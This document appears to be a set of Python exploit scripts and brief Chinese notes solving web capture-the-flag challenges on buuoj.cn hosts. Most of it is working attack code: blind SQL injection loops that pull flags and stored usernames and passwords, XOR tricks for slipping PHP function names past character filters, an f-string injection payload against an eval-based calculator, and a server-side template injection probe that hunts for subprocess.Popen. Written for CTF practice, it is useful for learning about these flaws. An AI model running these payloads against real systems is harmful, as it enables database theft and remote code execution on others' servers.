#!/usr/bin/env python import requests dict = "{}-abcdefghijklmnopqrstuvwxyz1234567890" flag = "" url = 'http://67fab014-d40a-4993-ba68-b765f4741a63.node3.buuoj.cn/templates/login.php' files = {"file":"123"} data = {"PHP_SESSION_UPLOAD_PROGRESS":"123"} cookies = {"PHPSESSID":"123"}
for b in range(1,42): for i in dict: params={"username":'test" or (ascii(substr((select group_concat(secret) from flag_tbl),'+str(b)+',1))='+str(ord(i))+')#',"password":"test"} a = requests.post(url=url,files=files,data=data,cookies=cookies,params=params).text if 'meta' in a: print(i) flag += i break print(flag)
final_string="phpinfo" allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~" for a in final_string: for i in allowed: for p in allowed: if ord(i)^ord(p)==ord(a): print("i=%s p=%s a=%s"%(i,p,a))
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # Original chars,11 total result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp.append(d) print(len(temp), temp)
FLAG = open('/var/www/flag','r').read() source = arguments['source'].value def get_value(val): val = str(val)[:64] if str(val).isdigit(): return int(val) blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict. if val == '' or [c for c in blacklist if c in val] != []: print('<center>Invalid value</center>') sys.exit(0) return val def get_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val op = get_op(arguments['op'].value) value1 = get_value(arguments['value1'].value) value2 = get_value(arguments['value2'].value) calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
import requests url="http://2cc20ee8-8b8c-491e-81f0-2465837dcc5f.node3.buuoj.cn/cgi-bin/pycalx.py?value1=f&op=%2b'&value2=+and+True+and+source+in+FLAG%23&source=" s='abcdefghijkmnlopqrstuvwxyz0123456789-}' flag='flag{' for a in range(50): for i in s: r=requests.get(url=url+flag+i).text print(url+flag+i) if 'False' not in r: print(flag) flag+=i break
第一小题的op获取是这样的
1
op = get_op(arguments['op'].value)
第二小题是这样的
1
op = get_op(get_value(arguments['op'].value))
过滤了单引号这里使用F-strings，它支持表达式运算。 value1 = True ，value2 ={source*0 if source in FLAG else 233} ，op = +f 执行的代码为： 'True'+f'{source*0 if source in FLAG else 233}'
URL = 'http://d2303429-2d9f-4353-b4c5-737c9b6b084f.node3.buuoj.cn/sequels' LETTERS = string.printable target = "" while True: f = False for e in LETTERS: tmp = target + e payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp), e) # payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) # payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8") req = requests.Request('GET',URL,cookies={"1337_AUTH": payload})
prepared = req.prepare() s = requests.Session() r = s.send(prepared, allow_redirects=False) if "Movie" in r.text: target = tmp print(target) f = True break if f: continue exit()
index = 0 for i in range(170, 1000): try: url = "http://fd353abb-9623-450c-a960-d91d0ad9c8a3.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}" r = requests.get(url) res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text) time.sleep(0.1) # print(res) # print(r.text) res = html.unescape(res[0]) print(str(i) + " | " + res) print(res) if "subprocess.Popen" in res: index = i break except: continue print("indexo of subprocess.Popen:" + str(index))
